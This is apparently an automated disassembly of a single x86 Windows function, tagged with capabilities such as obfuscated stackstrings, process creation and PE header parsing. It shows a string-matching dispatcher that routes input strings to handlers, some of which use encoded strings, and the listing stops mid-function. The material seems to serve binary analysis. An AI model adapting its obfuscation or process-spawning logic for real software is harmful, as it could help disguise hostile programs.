Function at 0x528aa0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5819c5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x288
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
sub esp, 0x18
mov dword [ebp - 0x34], esi
mov ecx, esp
mov dword [ebp - 0x50], 0
push 0x5c7778
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
mov edi, dword [ebx + 8]
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528b40
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528b10
sub ecx, dword [ebp - 0x20]
je 0x528b40
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528b40
cmp dword [edx + 0x14], 0x10
jb 0x528b2b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x528b47
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528b7b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528b71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c569
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x528b93
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7808
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528bf0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528bc0
sub ecx, dword [ebp - 0x20]
je 0x528bf0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528bf0
cmp dword [edx + 0x14], 0x10
jb 0x528bdb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x528bf7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528c2b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528c21
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c56e
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x529287
sub esp, 0x18
mov ecx, esp
push 0x5c77f0
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528c90
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528c60
sub ecx, dword [ebp - 0x20]
je 0x528c90
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528c90
cmp dword [edx + 0x14], 0x10
jb 0x528c7b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x528c97
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528ccb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528cc1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c573
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x528d7f
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.U3Ny5ZShRvExUjwUVJfTcwhQEFjscRBTokMGhwBmPARQqX3EAnFxEnzGhwCrIFEP6GA
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d7e0
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eba0
mov ecx, esi
call fcn.00445250
add esp, 0x18
mov ecx, edi
call fcn.00464560
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52c551
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x528d70
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5a5
push ecx
push edx
call fcn.0054fb04
add esp, 8
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7820
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528dd7
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528da7
sub ecx, dword [ebp - 0x20]
je 0x528dd7
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528dd7
cmp dword [edx + 0x14], 0x10
jb 0x528dc2
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x528dde
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528e12
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528e08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c578
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x528ec6
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.VklWAby1r9Nx8mua3ZVKdjJ0hHD4mIITAhoIDgLTOT50QVXQkRNwY4xaysS
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d7e0
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eba0
mov ecx, esi
call fcn.00445250
add esp, 0x18
mov ecx, edi
call fcn.00464560
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52c551
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x528eb7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5a5
push ecx
push edx
call fcn.0054fb04
add esp, 8
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7838
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528f20
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528ef0
sub ecx, dword [ebp - 0x20]
je 0x528f20
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528f20
cmp dword [edx + 0x14], 0x10
jb 0x528f0b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x528f27
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528f5b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528f51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c57d
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x528f70
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041e050
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7970
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528fc8
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528f98
sub ecx, dword [ebp - 0x20]
je 0x528fc8
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528fc8
cmp dword [edx + 0x14], 0x10
jb 0x528fb3
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x528fcf
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529003
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528ff9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c582
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x5295b9
sub esp, 0x18
mov ecx, esp
push 0x5c7988
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529065
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529035
sub ecx, dword [ebp - 0x20]
je 0x529065
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529065
cmp dword [edx + 0x14], 0x10
jb 0x529050
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52906c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5290a0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529096
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c587
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x529661
sub esp, 0x18
mov ecx, esp
push 0x5c7a60
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529102
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5290d2
sub ecx, dword [ebp - 0x20]
je 0x529102
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529102
cmp dword [edx + 0x14], 0x10
jb 0x5290ed
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x529109
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52913d
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529133
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c58c
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x529707
sub esp, 0x18
mov ecx, esp
push 0x5c7790
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5291a0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529170
sub ecx, dword [ebp - 0x20]
je 0x5291a0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5291a0
cmp dword [edx + 0x14], 0x10
jb 0x52918b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5291a7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5291db
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5291d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c591
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5291ee
mov ecx, dword [esi + 0xc]
call fcn.0041ea30
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7808
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529246
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529216
sub ecx, dword [ebp - 0x20]
je 0x529246
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529246
cmp dword [edx + 0x14], 0x10
jb 0x529231
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52924d
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529281
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529277
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c596
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x529296
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041e050
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c77f0
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5292f0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5292c0
sub ecx, dword [ebp - 0x20]
je 0x5292f0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5292f0
cmp dword [edx + 0x14], 0x10
jb 0x5292db
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5292f7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52932b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529321
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c59b
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5293df
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.WEZGKMiNkoJ0Io7ZGYIyeD1kyQTApRMW0vfLyhWuNzFkQCHo1vI0Ys2LyhVYK2Q7FTw
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d7e0
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eba0
mov ecx, esi
call fcn.00445250
add esp, 0x18
mov ecx, edi
call fcn.00464560
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52c551
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x5293d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5a5
push ecx
push edx
call fcn.0054fb04
add esp, 8
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7820
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529437
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529407
sub ecx, dword [ebp - 0x20]
je 0x529437
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529437
cmp dword [edx + 0x14], 0x10
jb 0x529422
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52943e
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529472
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529468
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5a0
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x529520
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.cUFRPQgpjNMDIBIY3F4YUTpzbMRkuPJh0GUKD8m5HjZzEeFMswMCsfLYyw_
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d7e0
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eba0
mov ecx, esi
call fcn.00445250
add esp, 0x18
mov ecx, edi
call fcn.00464560
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52c551
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x5293d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5a5
jmp 0x5293d0
sub esp, 0x18
mov ecx, esp
push 0x5c7970
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529578
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529548
sub ecx, dword [ebp - 0x20]
je 0x529578
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529578
cmp dword [edx + 0x14], 0x10
jb 0x529563
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52957f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5295b3
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5295a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5aa
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5295c6
mov ecx, dword [esi + 0xc]
call fcn.00405e40
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7988
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529620
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5295f0
sub ecx, dword [ebp - 0x20]
je 0x529620
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529620
cmp dword [edx + 0x14], 0x10
jb 0x52960b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x529627
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52965b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529651
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5af
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52966e
mov ecx, dword [esi + 0xc]
call fcn.00406120
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7a60
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5296c6
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529696
sub ecx, dword [ebp - 0x20]
je 0x5296c6
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5296c6
cmp dword [edx + 0x14], 0x10
jb 0x5296b1
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5296cd
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529701
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5296f7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5b4
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x529714
mov ecx, dword [esi + 0xc]
call fcn.0041eea0
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7850
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529770
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529740
sub ecx, dword [ebp - 0x20]
je 0x529770
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529770
cmp dword [edx + 0x14], 0x10
jb 0x52975b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x529777
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5297ab
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5297a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5b9
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5297c0
mov ecx, dword [esi + 0xc]
push 1
call fcn.00408a80
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7868
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529818
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5297e8
sub ecx, dword [ebp - 0x20]
je 0x529818
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529818
cmp dword [edx + 0x14], 0x10
jb 0x529803
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52981f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529853
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529849
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5be
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x529868
mov ecx, dword [esi + 0xc]
push 0
call fcn.00408a80
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7880
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5298c2
mov ecx, edi
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529890
sub ecx, esi
je 0x5298c2
mov esi, dword [edx + 0x10]
test esi, esi
je 0x5298c2
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x4c], esi
jb 0x5298ad
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5298cc
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529900
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5298f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5c3
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5299f8
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529940
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052ca40
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
call fcn.00554acd
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x50]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0055646e
add esp, 0x14
cmp esi, dword [ebp - 0x50]
je 0x52c5c8
cmp dword [edi], 0x22
je 0x52c5d2
mov ecx, dword [ebp - 0x20]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.00408d60
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x52c551
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5293d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5dc
jmp 0x5293d0
sub esp, 0x18
mov ecx, esp
push 0x5c7730
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529a55
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529a20
sub ecx, dword [ebp - 0x20]
je 0x529a55
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529a55
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x529a40
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x529a5c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529a90
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529a86
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5e1
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x529ba1
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529ad0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052ca40
add esp, 8
lea ecx, [ebp - 0x1a0]
call fcn.00434c90
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
